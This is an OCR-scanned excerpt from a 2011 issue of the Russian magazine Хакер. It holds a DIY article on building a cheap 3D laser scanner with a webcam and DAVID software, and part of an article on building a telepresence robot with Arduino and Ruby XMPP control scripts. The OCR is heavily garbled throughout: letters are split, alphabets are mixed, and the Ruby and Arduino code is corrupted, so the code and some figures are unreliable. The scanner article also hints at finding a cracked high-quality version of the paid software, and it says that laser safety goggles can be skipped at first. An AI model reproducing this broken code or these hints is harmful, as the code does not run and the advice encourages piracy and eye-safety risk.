Там очень подробно описаны и требова­ния к оборудованию,

и последователь­

ность сканирования,

и разные нюансы ,

которые могут у тебя

возникнуть .

О 3D-СКАНИРОВАНИИ М но гие сферы на ш ей жи зн и н ем ысл им ы без трех мерн ой г ра ф ики.

О громная а р мия 3 D-моделл е ров (ил и п опро с ту 3 D 'ш нико вl ежеднев н о создает модели , которые п отом ус п е шно исп ользуются в са мы х ра з ны х

обл астях, начи ная от ки немато графа, рекламы, п ромышле нн о го п ро­

изводств а, архитектуры и зака нчи вая бо г з н ает чем еще . Л юбой чел о ­

в ек, за н имающийся модели рован ием, р а н о или поздно стал кивается

со с л едующей задачей: нужно создать модел ь то го, ч то уже существует

в н а ш ем трехмерном мире. Это можетбыть что у годн о. Н а п риме р ,

модель- прототи п , которую на твой с тол положил заказчи к и п о п росил

сдел ать <<то чн о так же, толь ко в ком пьютере>>. Пр и ч ем смодел ировать

нужно н е просто ч тоб ы « б ыло п охоже>>, а чтоб ы объект-прототип и

трехме рн ая модель б ыли к а к бл изнецы- б р атья , р аздел е нны е экра ном

ком пьюте р а. Так с л училось и со м н ой. Вып олняя о ч е р едн ой заказ п о

модел иров а н ию, я стол кнул с я с о ч е нь жестким и тре б о в а ни ями по со ­

отв етств и ю моей м одел и об р аз цу кли е нта. П осле энно го б езус п е ш но го

со гл асова ния ста л о я с н о , ч то в этот р а з нужн а абсол ютн а я то чно сть

модел и. В о в с я ком с л у ч ае кли е нт б ыл у в е р е н , что в пр отивном случае

есл и и н е н асту п ит Арма геддо н для все го чел о в е ч еств а, то п о к ра й н ей

мере с лучи тс я ч то -то похожее. Что м н е ос та вал осьдел ать? П о пр о ­

бо в ать , на ко н е ц , 3 D- скан и р о ван и е ! Я то гда еще п одумал: «Э то же

моделиро в а н ие для л е нивы х>> . Минута дел а - и в сё, модель гото ва ! К

моему в е л икомууди вл е ни ю (и разоча рованию! , ока залос ь , что даже

са мы й п рос тень к и й 3 D- ска н ер стоит больши х де н е г. В е рнее го в о ря ,

о чень больших. Чтобы е го ку п ить, я должен был умн ожить стоимость

этой модел и н а ч ис л о с пятью н улями . Н о р аз н ельзя купить, з начи т,

будем де л ать сами. Н иже я хо ч у п оделиться с тобо й о пытом, как мож н о

соб р ать 3 D -ска нер свои м и рукам и . Я н е только расскажу, к а кие ком п о­

не нты и где купить для это го , н о и как этим скане р ом п ользо в ать ся.

ХАКЕР 10 /153/ 201 1

Page 34: Хакер №10 (октябрь 2011)

Чтонам понадобится? Смастерить свой 3D-сканер, как оказалось,

можно буквально из подручных материалов :

нам потребуется специальная программа , ла­

зерная указка, веб-камера , а также некоторые

самодельные приспособления .

DAVID" СПЕЦИАЛЬНЫЙ СОФТ Самой важной частью сканера, в том

числе дорогостоящего профессио­

нального, является его мозг- про­

граммноеобеспечение,которое

выполняет оцифровку. То, что необхо­

димо нам,- это инструменты, которые

паз воля ют скан и ровать/оцифро вы­

вать трехмерные объекты с помощью

подручных средств: веб-камеры и

лазерной указки. Таковыми являют-

ся DAVID-Iaserscanner lwww. david-laseгscaппeг.com ) и TriAngles

l www.intгicad .com ), доступные для свободного тестирования, но с

некоторыми ограничениями. Последний имеет довольно неприятное

о граниче н ие: для е го работ ы необходим равномерно в ра щающийся

столик. на котором будет рас п олагаться сканируемый объект. К тому

же предъявляются суровые требования к самому объекту. Его форма

должна быть бл изка к цилинд рической, а еще лучше-сферической.

DAVID-Iaseгscanneг подобныхтребований не предъявляет, поэтому

я выбрал его. Несмотря на то что программа платная и ее стоимость

колеблется от 199 до 229 евро, тес тировать ее можно сколь угодно

долго -лимитов по времени нет. Единственное ограничение заклю­

чается в особенностях сохра н ения результатов сканирования . Сохра­

нить сканы можно, н о в низком качестве. В п рочем, на просторах Сети

и н огда случаются чудеса, и есл и тебе удастся найти версию DAVID'a,

которая сохраняет в высоком качестве, значит, ты сэкономишь и на

этом . А кто и щет-тот всегда найдет.

ВЕБ-КАМЕРА Параметры объекта, необходимые

для составления объекта, программа

считывает с помощью веб-камеры.

О н а, возможн о, у тебя есть. Если так­

прекрасно, можешь попробовать

провернуть всё с ней . Главное, чтобы

разрешение было не меньше 640 х 480.

Есть и другие требования : наличие

ручной фокусировки !возможности

отключатьавтофокус), минимум шумов

при высоком разрешении, качественная линза камеры -линза не

должна давать сильных искажений. Камера должна подключаться

к USВ-порту и работать на WDМ-драйверах lт. е .• попросту говоря,

должна быть видна для выбора в программе DAVID) . Больш и нство со­

временных веб-камер удовлетворяютэтим требованиям, но проверить

их совместимость с DAVID можем только мы с тобой, поэтому доверимся

рекоменда циям созд ате л ей п рограммы во избежание всяких неожи­

данностей . Из дешевых камер сам разработчик рекомендует Logitech

WebCam Рго 9000with cam holdeг, которую можно купить долларов за

сто. Я же ус п еш н о вы полнял ска н ирова ния моей Log itech С270 стоимо­

стью около 35 долларов .

ХАКЕР 10 / 153/2011

3D-сканер за $30

ЛАЗЕРНЫЙ МОДУЛЬ Для работы сканера необходим ком ­

понент, который будет даватьлинию.

Именно линию, а н е точку. Это важно! Н а

форумахяпроче~чтоподойдетобычная

китайскаялазернаяуказка,нозтоне

так. Как бы быстроты ни водил рукой,

вооруженнойлазерной указкой, это

всё не то. Чуть позже я объясню почему.

Сейчас важно одного-нужен ска н ер,

кото р ый дает линию. Красный, зеленый,

синий-цветсканера не важен . Вообще можно обойтись и без сканера ,

воспользовавшисьальтернативн ыми решениями !читай во врезке) . Но

лазерный модул ь-это совершенноточно самый простой и доступн ый

вариант. Я приобрел модуль красного лазера 650 н М с фокусировкой

линии мощностью 5 м Вт, он стоил 25долларов. Такой можно купить где

угодно, н а п ример в хозяйственном магази н е или через и нет, как это

сделал я !кажется , в www.gгeeпlaseг.com . ua ) . Модули большей мощ­

ности !до 20 м Вт) не рекомендую приобретать, так как их использование

целесообразно в оче н ь редких случаях. Есть готовые модули с автоном ­

ным питанием -если найдеш ь, то ку п и лучше такой . Мне же для своего

лазерного модуля пришлосьсоздать небольшую оснастку, чтобы было

удобнодержать в руке, включать/выключать. Зап италя его обычной

кроной 9 В : красный провод <<+ >>,черный <<->>: если наоборот, то будет

греться и, как результат, выйдет из строя раньше времени.

• •

КАЛИБРОВОЧНЫЙ УГОЛ . Ориентироваться в пространстве,

п олу ч ая возможность считывать

параметры изображения, позволяет

программе специальнаяприспосо­

ба- калибровочный угол . Не бойся,

это самый дешевый ком п о н ент,

представляющий собой два листа со

с п е циально нанесенными маркера­

ми, которые нужно расположить под

углом 90°. После установки DAVID'a ты

найдеш ь файлы в формате PDF или CDR в кор невом каталоге, напри­

мер << Cali bpoiпts_Scale30_D IN_A4.pdf>>. Или с аналогичным именем,

но в формате CDR для печати из CoгeiDгaw . Выбери тот файл, название

которого соответствует формату бумаги , на которой ты собираешься

п ечатать . Вообще советую исходить от размера сканируемого объек­

та . Не стоит делать большой угол, если ты собираешься сканировать

маленькие объекты. Для начала вполне подойдут калибровочные

листы фо р мата А4. Сл ожнее закрепить их под п равильным углом. Свой

первый угол я сделал так- просто согнул белый гофрокартон , закре­

пил его на основе, после чего прикрепил стык в стык калибровочные

листы. Л уч ш е их не к л еить, так каклисты ста н ут волнистыми -это

недопустимо . Вместо этого можно аккуратно прикрепить их по краям

скотчем. Должен сказать, что после п ервых же сканов стало понятно,

что угол не идеальный. П оэтому при шлось всё передел ать: я соединил

два куска ДСП , скрепив их у голками. Получилось хорошо: угол 90°,

поверхность идеально ровная- всего этого нельзя было бы добиться

с гофрокартоном.Словом, тутестьм н ожествовариантов.

-НИ В КОЕМ СЛУЧАЕ НЕ НАПРАВЛЯЙ ЛУЧ ПРЯМО В ГЛАЗА. ЭТО ОЧЕНЬ ОПАСНО, ТАК КАК ЯРКОСТЬЛУЧА НАСТОЛЬКО

ВЕЛИКА, ЧТО ДАЖЕ КРАТКОВРЕМЕННОЕ ПОПАДАНИЕ В

ГЛАЗ МОЖЕТ ВЫЖЕЧЬ СЕТЧАТКУ ГЛАЗА. ПОПАДАНИЕ НА

КОЖУ НЕ ОПАСНО. ВООБЩЕ РЕКОМЕНДУЮ ПРИОБРЕСТИ

СПЕЦИАЛЬНЫЕ ОЧКИ ДЛЯ РАБОТЫ С ЛАЗЕРОМ, НО ЭТО УЖЕ

ПОТОМ, А НА ПЕРВЫХ ПОРАХ МОЖНО И БЕЗ НИХ.

035

Page 35: Хакер №10 (октябрь 2011)

PCZONE

Какэто происходит?

Теперь самое интересное - при с тупаем к самому процессу ска­

нирования. Оглянись вокруг: в комнат е наверняка найдутся какие­

нибудь сувениры или ста туэтки -для экспериментов подойдет

любой небольшой объект. Что точно не годится, так это прозрач ны е

или п олупрозрачные nредметы. Л уч лазера должен отражать ся, а не

поглощаться предметами . Создатели DAVID 'a рекомендуют в таких

случаях покрывать nредметы тальком или , если не жалко, аэро­

зольной краской. Я не утруждал себя и взял несколько статуэток.

Условно в процессе скани р о в а н ия мож н о выделить четыре эта п а,

расскажу о каждом п одробнее.

1 ЭТАП

Калибровка Это предварительный эта п, п оэтому объект для сканирования пока

отложим в сторону. Закрепивеб-камеру напротив калибровочногоугла

таким образом, чтобы все компоненты были неподвижны относи­

тельнодругдруга.Камерустоитрасположитьнауровненижнегокрая

калибровочных листов. Во время калибровки камеры изображение

должно быть ярким . Я выполнял ска нирование вечером или днем, но

с затененным окном, а калибровочный угол освещал искусствен ным

светом . Сама калибровка осуществл яется в DAVID-Iaseгscanneг.

Выбираем из спи ска устройст в нашу веб-камеру, настраиваем изо­

браже ни е : п овышаем яркос ть, контраст. В результате на экране видны

только черные маркеры. Жмем кно пку << Калибровать камеру». Если

С OAVID·Laserscanner !

Моаитоб (мм):

60.00

с--1

Настраиваемсканер

036

~Изменитьс:рорt11ат J

Сканирование: со светом и без

всё сдела н о nравильно, про гра мма по эдравиттебя, что калибров ка

прошла ус п ешно. В пр оти в н ом случае можно попробовать изменить

положение веб-камеры, поиграться с яркостью и контрастом. У меня

получилось не с первого раза, но потом радости было как после первой

сданной сессии!

2ЭТАП

Размещениеобъекта Для скани рова ния необходимо расположить объект в у гл у калибровоч­

ного угла . Для лучшего результата о н должен быть при близительно п о ­

середине калибровочных листов . Е с ли его размеры небольши е, можно

использовать подставку: коробку, книги, дерев я нны й брусок под­

ходящего размера. Укажи программе тип используемого лазера. Дал ее

тушим свет ! На экране должно быть темно . Если не так- понижаем

значения яркости. Н е пугайся, если маркеров не видно: программа

запомнила их расположение, и теперь они нам не столь важны. Включи

лазер и направь его на угол чуть выше нашего nредмета. На экране

должна появиться ломаная белая линия [программа анализирует

черно-белое изображение) . Расстояние между камерой и пл оскостью

лазера [т. е . триангуляционный угол) должно быть настолько большим ,

насколько это возможно, - это нужно для больш ей точности. Иначеты

увидишь предупреждение: «Угол пересечения слишком мал >>. В нач але

статьияотговорил тебяотис пользова ни яточеч ной ла зернойуказки,

и вот почему. Даже быстр о вод я то чечной указкой, ты не только н е по­

лучишь ровную линию, но и программа н е сможет по с читать величину

триангуляционного у гл а.

ЗЭТАП

Сканирование. Процессска нирова ни я начинается посленажатиякноп ки «Старт~ Н е­

обходимо провести по объекту лучом вниз-вверх несколько раз, чтобы

программа через веб-камеру считала параметры объе кта . Тутесть

важный момент : н ужн о поворачивать кисть с лазером, а не опускать

руку! Скорость не важна, но н е старайся делать это оче нь б ы ст р о . При

скани ровании я чащес мотрел не на объект, а на экран, гл я дя, как про­

грамма а нализируетфо рму пр едм ета, вырисовывая на эк ране цветные

линии. Смотреть на эк ран удобнее по двум причинам . Во-первых, если

-ЕСЛИ ТЫ НЕ ХОЧЕШЬ УТРУЖДАТЬ СЕБЯ И ТЕБЕ НЕ ЖАЛКО $500, МОЖЕШЬ ПРИОБРЕСТИ DAVID-LASERSCANNER STARTER-КIT, КОТОРЫЙ СОДЕРЖИТ И ЛАЗЕРНЫЙ МОДУЛЬ, ИВЕБ-КАМЕРУ LOGITECH PRO 9000, И КАЛИБРОВОЧНЫЙ УГОЛ, И USВ-ФЛЕШКУ С ПРОГРАММОЙ.

ХАКЕР 10 / 153/201 1

Page 36: Хакер №10 (октябрь 2011)

Промежуточный результатсканирован и я

линия лазера не будет видна с обеих сторон nредмета или недостаточ­

ным будеттриангуляционный угол, nрограмма сразу выдаст сооб щение

lи ты сможешь это исnравить!. Во-вторых , смотреть на лазер утоми­

тельнодля глаз иэ.-эа высокого контраста междучерным фоном и

ярким лучом. Пройдя по nредмету лучом вниз-вверх столько, сколько

nотребуется, жмем кноnку « Пауза ». Теnерь можно сохранить результат

сканирова ния в отдельный файл с nомощью кноnки <<Сохранить» . Есть

другой вариант-сразу nередать изображение для nоследующего

сшивания с другими сканами, нажав кноnку « Перенести >>. При нажатии

« П еренести» скан nередается на следующий этаn !склейку! без со­

хранения в файл, но текущий этаn мы не nокидаем и можем nовторить

сканирование, изменив nоложение объекта !не забудь nеред новым

ска нированием нажать на кноnку «Стереть»!. Тут важно nони мать: для

созданиямоделинеобходимосделатьнесколькосканов . Дляnростых

nредметов тебе будет достаточно nоворачивать объект, наnример, на

45°. Если nоверхность nредмета сложная, то nотребуется сканировать

его с разных сторон и лишь nотом сшивать сканы. Еще один важный

момент: сканы обязательно должны nерекрыватьдруг друга, чтобы

nрограмме былолегче анализировать их.

4-Й ЭТАП

Сшиваниеформ Последний шаг nеред nолучением модели-это склейка с ка нов. Если

ты не сохранял сканы, а nередавал их на склейкус nомощью соответ­

ствующей кноnки, то можешь nристуnать к сшиванию сразу. В nротив­

ном случае жмем кноnку«Добавить» и загружаем ранее сохраненные

файлы . Процесс сшивания можно разделить на два этаnа: стыковка

ска нов и собственно сшивание. Выбирая nопарно сканы, ты указыва­

ешь nрограмме на метод стыковки. DAVID сnравляется с этим очень

даже замечательно nри условии, что есть чему стыковаться-сканы

должны nерекрыватьдруг друга. Если лоскуты не nерекрываются, тебе

ЕСЛИ НЕТ ЛАЗЕРА

ля 3D-сканирования объекта можно обойтись и без лазера lя не шучу!.

Подойдетnроект смощнойламnой,светкоторойнужнонаn равить

сквозьузкую щель на сканируемый объект. Получим узкую белуюли-

нию-чем не белый лазер? Правда, nомимо nроектора !который недёшев сам

по себе! нужна еще и серьезная оснастка для удержания nроектора в нужном nоложении. Это геморрой но. Можно nойти от обратного- наnравить яркий

свет, а по объекту nровеститенью от натянутой нити: такоетоже nредусмотрено

разработчикамиnрограммы.Взтомслучаеnрограммаможетинвертировать

обрабатываемую картинку. Однако что-то мне nодсказы вала, что это не даст

хорошего результата .

ХАКЕР 10/153/2011

3D-сканер за $30

Самодельный 3D-сканер позволяетполучить неплохой результат

nридется вернуться на nредыдущий этаn и осуществить сканирование

из тех nоложений объекта, которые дадуттакое nерек рытие . Выnолнив

стыковку для всех сканов , жмем на кноnку << Сшить». В зависимости

от выбранных настроек через несколько секунд мы увидим результат

сшивания всех сканов в единую модель. Жмем кноnку «Сох ранить ».

Теnерь можно загрузить нашу модель в ZBгush или Mudbox и довести ее

до совершенства. Модель готова!

В nрограмме Tгiдng les благодаря вращению nредмета формирова­

ние оцифрованной nоверхности nроисходил о бы автоматически, это ее

nреимущества nеред DAVID'oм. Но как бы она справилась с формиро­

ванием nоверхности в «мертвых» зонах? Думаю, никак . Либо в этих ме­

стах мы бы nолучили nогрешность . Мы же хотели nолучить модель как

можноболееточную.Поэтомудополнительныедействияпосшиванию

сканов будем считать необходимыми издержками.

Дорабатываем готовую модель в 3D-редакторе

ВМЕСТО ЗАКЛЮЧЕНИЯ Собрать 3D-сканер, который будет выдавать более чем приличный

результат, вполне возможно дома. Надеюсь, ты в этом сможешь убе­

диться. К сожалению, для сканиро вания маленьких объектов la мне

нужно было создать объекты для ювелирных изделий! нужна очень

хорошая USВ-камера с ССD-матрицей, которой у меня нет !она доста­

точно дорогая!, nозтому мой оnыттак и остался опытом: применить

его на деле для сканирования ювелирных изделий не получилось . Но

я испытал незабываемое удовольствие, nолучая nолноценные моде­

ли самых разных объектов с помощью сканера, который был собран

буквально на коленке. ::Х:

037

Page 37: Хакер №10 (октябрь 2011)

PHREAKING Сергей Cильнoвlpo.kumekay.coml

Видеочатна колесиках ДЕЛАЕМ БЮДЖЕТНОГО РОБОТАТЕЛЕПРИСУТСТВИЯ ЗА 300 ДОЛЛАРОВ

Боты телеприсутствия- Skуре-фоны на колеси ­

ках- позволяют находиться в двух местах одно­

временно, чем могут неплохо сэкономить время .

Правда, серийные модели стоятот5000долларов,

так что доступность у них ограничена . Но отчаи­

ваться не стоит, ведь не дороже чем за 300 долла­ровты можешьсделать такого робота сам!

I!UJ;Uiii•i Классно порой где-нибудьтелеприсутствовать. Например, сидетьдома в

халате с чашечкой ароматного кофе , а в душной переговорке поднадоев­

шего офиса будет шуршать моторами роботтелеприсутствия и переда­

вать коллегам ка ртин кутвое го улыбающегося лица . От необходимости

следить за происходящим и вовремя вставлять свои идеи он, конечно, не

спасет, но комфорта добавить может. Еще такой робот поможетобщаться

с любимой , находящейся в другом городе, да и приглядеть за ней, если

что . Чтобытакой роботутебя появился, нужно, во-первых, его собрать:

шасси, управление двигателями, нетбук [мозг, камера и экран], а во­

вторых, нужнозапрограммировать клиентскую и серверную ча сть. Но

теперьобовсем подробно. .. ., •. , Робота нужноделатьдостаточно крупным и высоким, чтобы он был устой ­

чивым, а зкран чтобы был не сильно нижеуровня глаз. Нести на борту

нашему роботу придется увесистый сви нцево-кислотный аккумулятор

[оптимальный выбор 12 В, 7 Ач , 600 руб . ] и нетбук, поэтому платформа

должна выдерживать нагрузку в 10-15 кг [тогда можно будет и пару ба н о­

чек с прохладным пенящимся квасом из холодильника на нем возить] .

Теперьопределимся с количеством колес. В современномтеле­

роботостроении модно использоватьдвухколесныетележки в стиле

Segway. Сделатьтакую штуковину вдомашнихусловиях в целом реально, надовольно муторно в случае создания крупных роботов. Поэтому я

предлагаюограничиться более простым вариантом-добавить третье

опорное колесо. В качестветретьего колеса подойдет недорогое [35 рублей] вращающееся колесикодля мебели . Для особой устойчивости

дополнительных колес можно взять и два.

038

В качестве ведущи х колес круто использовать колеса для садовы х

тачек или для тележек из су п ермаркета. В ни х часто встречаются

встроен ны е подшипни ки, которые упрощаютзада ч усоздан ия веду­

щей части . В сё в них хорошо, только платить по 500-700 рублей за одно колесо совсем неохота. Есть вариант более бюджетный- исполь ­

зовать боковые колесики для детских велосипедов. У ни х и диаметр

вполне достаточный -13 см, и ширины в 2,5 см х ватает для надежного сцепления с полом [даже по ковру ездит не проскальзывая]. Стоят эти

колеса130 рублейзапар~

Теперь о выборе моторов . Робот не хилый, и всякими пластиковыми

хлип кими мотор-редукторами из китайских игрушечных машинок здесь

не отделаться . Популярный вариант для таких роботов-использовать

вазовскиемоторыдлястеклоподъемниковилистеклоочистителей.

Самый большой их недостаток в том, что они оборудованы червячными

мотор-редукторами, которые не имеютобратной связи [т. е. н е получится ,

п окрутив колесо, передать вращение на мотор; колесо вообще само п о

себе п о крутить не получится]. При резкихторможениях, когда инерции

в колесе еще много, а моторуже отключен , вся энергия пойдет на по­

ломку шестеренок, и долго они не проживут. Проблема по бол ьшей части

решаемая-нужно просто плавно включать и выключать мотор, но есть

за эти же деньги [600-700 рублей за мотор] и другое, не менее элегант-ное решение: дешевые китайские 12-вольтовые шуруповерты. У ни х

редуктор планетарный, и подобного недостатка у него нет. До идеала им

тоже далековато: дольшедесяти минутнепрерывно и на полной скорости

крутиться эти моторы не смогут-перегреются, но на практике это и не

нужно, толькоесли не посылать робота в далекий магазин. Мощности же

и оборотавуних с головой , так что использоваться они будут в щадящем

режиме. Плюс шурупаверты продаются с патроном, в который можно сра­

зузакреп итьколесоприпомощиболт~чемсильноупроститьведущую

часть .

Моторы с колесами еще необходимо на чем-тоукреплять. Можносо­

брать коробкудля аккумуляторов, электроники и груза из алюминиевого

~-----------------------------------,

' '

serial Ardulno

Схема движения yn равля ющих данных

ХАКЕР 10/153/201 1

Page 38: Хакер №10 (октябрь 2011)

профиля или дерева . Но лучше посетитьзаднийдвор ближайшего супер­

маркета и подобратьтам плотный пластмассовый ящик из-под фруктов.

При помощи саморезов можноустановить на нем нетолстыедеревянные

брусочки, к которым укрепить моторы и вспомогательные колеса.

Моторы для шурупавертов имеютспецифическую форму, и ус т а­

навливать их без родного кор пуса не просто. Решение же довольно

тривиально -доработать корпус шурупаверта ножовкой и напильни­

ком и устанавливать мотор в нем . Всю внутреннюю электронику нам

придется выкинуть, оставив лишь мотор с двумя проводами, которые

нужно вывести наружу из корпуса . Если в твоих шурупавертах нет

керамических конденсаторов на 100 нФ между контактами мотора, то

рекомендую их туд а п рипаят ь: спасет от помех на логике и ее самоп ро­

извольного сброса. Можно при паятьдва таких конденсатора - между

контактами мотора и его корпусом, но для этого потребуется мощный

паяльник и аккуратность, чтобы, с одной стороны , прогреть стенки мо­

тора, а с другой , не повредить пластиковые части. Впрочем, фильтры

можнодобавить и на силовую плату.

СОБИРАЕМ ЗАЩИТНИКА ВСЕЛЕННОЙ Кроме ящика с моторами нужен еще крепкий брусок, на котором будет

укреплен столик для ноутбука. Оптимальная длина такая, чтобы

общая высота получилась примерно 110 см, -тогда на н аутбуке будет

удобно и набирать и получится не просто роботтелеприсутствия , а

полноценноерабочеемест~котороевсостоянииследоватьзатобой

повсюду. Столикдля н аутбука можно сделать из куска оргстекла

[размером примерно с листок А4), а закрепить на стальные уголки при

помощи болтов или вытяжных заклепок. Всё, что не закреплено само­

резами: моторы, платы, про вода, аккумулятор, -удобно закрепить

при помощи нейлоновых стяжек. Способ недорогой и предельно сер­

дитый . Конечно, моторы с колесами из-за такого крепления придется

часто от п равлят ь на развал-схождение .

вносим мозги Теперь нужно создатьэлектронную и программную части . В общем, схема

такова: на удаленном клиенте, который соединяется с миром через WiFi­

или 3G-модем, запущена про грамма, которая читаетнажатия стрелочек

на клавиатуре и при помощи ХМРР [ например GTalk'a) передаетсо­

общения с у правляющими командами на сервер, которым является на ш

робот. Там еще один управляющий скриптотлавливаетэти сообщения и

записывает их в виртуальный СОМ-порт, который создандгduiпо. Дальше

ардуиноотправляетсигналы на силовую плату, которая непосред­

ственноуправляетмоторами . Именноеесейчасирассмотрим.Моторот

шурупаверта в моментстарта потребляетбольше 10А, а во время работы

минимум 2Апостоянно. Управля т ь такой мощной штукойудобнолибо с

помощью реле [ но для них самих придется городитьсхему включения),

либо полевыми транзисторами. Для начала разберем самый простой

вариант[схема 1), который позволит независимо крутиться колесам,

причем с разной скоростью. Еще плюс-для этой схемы нужно совсем

немногодеталей, и собрать ее можно на макетной плате [только не про ­

буй собирать ее на беспаечной макетке-она не выдержиттаких токов) .

Главный недостатоктакой схемы-крутиться колеса смогуттолько в

одну сторону, а значит, роботупотребуется пространстводля маневров­

разворот на месте для него недоступен .

Основа этой схемы-полевойтранзистор [Q1, Q2) IRL530. Позаявле­

нию производителя, он можетоткрываться от логическогоуровня в 5 В,

который дает выходардуи н о. Чтобы управлять моторами плавно, будем

подавать н а н их Ш ИМ-си гнал. ВШИМ-режиме часть времени выход включен, част ь выключен, но вереднем nолучается, будто выходвключен

непалной мощностью. Переключения из состояния в состояние проис ­

ходяте частотой в несколько килогерц, и сглаживание очень качествен­

ное. По идее, всёдолжно бытьхорош о, да воттолько слабенькийток от

микроконтроллера оченьдолго открываетзатвортранзистора, поэтому

получается, что большую часть временитранзистор проводит в полуот­

крытом состоянии, когда его со противление велико, а ток через него

не мал. В результате на транзисторах можножарить яичницу, правда,

недолго: мои после пяти минутработы робота сгорели вовсе. Возможно,

лучше будет работатьдругой популярный транзистор-еуправлением

ХАКЕР 10/153/2011

обозначение

Q1, Q2

R1, R2

R3, R4

U$1, U$2

100k

Схема 1. Простейшая схема силовой части

обозначение

С13

С1-С3,С5-С10

С4,С 1 1,С12

013

01-013

JP1

Q1-Q8

R1-R8

U$1-U$4

Х1

Х2

Х3

.~~ ~~~

~~~~ ~~~~

IR21 10 .ю

Схема 2.Пол ноценный Н-мост

Видеочатнаколесиках

деталь

IRL530

130

100k

MOTOR

деталь

10пF

100uF/25V

1 00u F/25V

1 N4007

1 N5819

Oata

IRF1310 ··------·---··-

360R

IR2110N

Мотор 1

П итание

Мотор 2

·~~~ ~~

1QuH2~V G ·~V

039

Page 39: Хакер №10 (октябрь 2011)

~HREAKING

Материалы для шасси Электроника робота

логическим уровнем- RFPЗON06LE производства Faiгchild, который

можетуправляться и уровнем вЗ,З В.

Ноеслиужзаморачиватьсястакимроботом,можносделатьвсi п о

максимуму и соорудить полноценный Н-мост[схема21 , для которого взять

MOSFET'ы помощнее, например IRF131 0-с рабочимтоком в 42А. У такого

транзисто ра даже при пуске мотора будет4-кратный запас по мощности,

точно не сгорит. А чтобы он открывался полно стью и реализовывал весь

свой потенциал , управлять им будетспециальный полумостовойдрайвер

IR2110. Н мостпозволитколесам вращаться в обе стороны, а защищенная

схема будетработатьстабильно и без пере грева. Собратьего несколько

сложнее-деталей гораздо больше [таблица21 , много защитныхдиодов

и фильтрующих конденсаторов. На макеткетакую платусделать еще воз­

можно, но проще будетвытравитьдля нее с п ециальную плату. Сделать ее

дома можно, например, при помощи фоторези ста, но этотм етод удобен,

только если платы приходится делать часто . Для разового применения

проще воспользоватьсяЛУТ-лазерно-утюжнойтехнологией [по ссылке

обучающее ей видео goo.gl/r1sг l. П осле того как силовая часть сделана, ее нужно подключить к

Aгduiпo . В случае первой схемы их будет всеготри -два к ШИМ­

вы ходам 1 О и 11 и один к земле. С железом покончено. Тепе рь сказ об

управляющем софте.

МЫСЛИТЕЛЬНЫЙ ПРОЦЕСС Видеоаудиоданные в системе передаются независимо от управления.

Городить собственную системутелеконференций для телебота бес­

смысленно. Можнозапросто использоватьSkуре или видеочатGооglе,

обаоникроссплатформенны,поэтомувсяпрограммнаячастьможетбыть

орга низована под Ubuntu. В скайпеудобно nоставить в настройках галоч­

ку <<Автоматически отвечать на вызов >>, чтобы можно было nодключиться

к роботу в любой момент.

Теперьуправляющий софт. На м nонадобится серверная и клиент­

ская частьдля РС и прошивкадлядгduinо. Уnравляющиескрипты будем

nисать на RuЬуnодуnравлением Ubuntu [никаких хитрых библиотек в

скриптах не используется , и онидолжны работать и в среде Windows, и в

среде Cygwinl. На обеих машинахставим интерпретатор:

Помимо руби, понадобится еще и пара библиотек на клиенте для

работы сJаЬЬег'ом:

sudo gem install xmpg4r-simp_le. ___ _

На сервере, помимо нее, понадобится еще и библиотека работы с по­

следовательным портом :

sudo gem install xmpp4r-simple ruby-serialport

У кода сервера простая задача-получитьуправляющую команду

поJаЬЬе~уиотослатьеемикроконтроллеручерезпоследовательный

Ведущая часть

порт. Форматкомандтоже не сложен-два числа отО до 255, через про ­

бел. Каждое число-значение, на выходе ШИМ-255 максимальная

скорость, О-остановка.

Код~рвеg~а _________ __

require ' rubygems'

require 'xmpp4r-simple '

require ' serialport '

# проиницыализировали все библиотеки

sp = Serialf>_o_r_t_.лe_w_"Ldev/ttyUSB8_",,_9"'б""e"'e,_ _____ _ # открыли после,(l,овательный пор"т ___________ _

im = Jabber : :Simgle.п[email protected]·:,_::pass_"} ____ _

# соединились с Jabber'oм

while (true) do

# и до бесконечности

im.received_messages do JmessageJ

# п~ряем пришедшие сооб~.~еuн~ия~--------------рuts "#{message .body'}_" __ _

а,Ь = message.body.split(' ' ) # разбираем, если что-то пришло

sp.write a.to_i.chr+b.to_i.chr

# и записываем в порт

# пускай кон:rроллер разбирается

епd

sleeg e.es ____ _

# немного погодя всё заново

епd

Запуститьэтотскриптпростокомандой

ruby telebot.server. rb

ТЕЛЕБОТ НАПРОКАТ

D ели хоче шь попробовать ощутить

себя в шкуре робота , то делать свое го

телебота вовсе н е нужно . Можно взять

одного напрокат. Например, популярного доволь­

но и з вестного российского RBot'a [ tеlеdго i ds . гul­

ведрообразного робота с очень подвижной шеей

и доброжелательным выражением лица, хотя он

создан в основном для рекламных целей . Для

веселого времяпровождения можно попробовать

более аркадный вариант: по игратьвшутер от

лица робота [ гobot-waг. гu l или погонятьпопарку

на реальных машинках [g l avbot. г u l RBot- русскийтелебот

ХАКЕР 10 / 153/2011

Page 40: Хакер №10 (октябрь 2011)

Послетого как команда отослана к контроллеру, ее нужно разобрать и

тамуже записать соответствующие значения в ножку.

Скетч для Arduino int lPin = 10; // Левый мотор int rPin = 11; 11 Правый мотор int command = В; void setug( l_{ ____________________________ __ ~ial . b_egin(9600);_} ______________________________ _ void loop() { if (Serial.availaЫe() > 0) { /1 читаем команду правого мотора command = Serial.read();

LJ пишем команлу_правого мотор~ _analogWci:t~(rPin, command)_;, _____ ~---------------------Serial.println(command, DEC)_; __ _

11 читаем команду левого мотора command = Serial.read();

11 записываем команду левого мотора analogWrite(lPin, command)_; __ _ Serial. RI'intln(command, DEC)_; LLв течение 300 мс моторь!J9:1УIRкя __ delay(300);}

1 /nотом отключаютс я

// и ждут новых указаний

analogWrite_(rPin, 0); analogWritg_(],Pin, 0)_; } ____________________ _

Благодарятакому простомуформатупередачи сообщенийсерверу

клиентаможнонеписатьивовс~простосидив чатикедапереписывайся

с роботом. Такой вариант, конечно, малоудобе н, поэтомуеще один скрипт,

который будетчитать нажатия клавиш клавиатуры и отсылать команды

по джабберу.

Понимать он будеттри стрелочки, а также цифры от 1 до 3, которые задают скорость. В скрипте используется небольшее количество магии,

которая позволяетконсольному приложению читать нажатия клавиш без

подтверждения клавишей Enteг.

Код клиента __ __ require 'ruby_g..,em,."s,_' __ __ Leq~ire 'xmpp4r-simpl~e_' __________________________ _ @а= 255/ 3 __ @im = Jabber: :Simple.new("[email protected]", "pass" ) @recipient="[email protected]" # читаем клавиши без нажатия Enter def read_!Jlill:_

~g~in~-------------------------------------------#мa гия начинаетс я.___ __________________________________ __ old_state = 'stty -g' system "stty raw -echo"

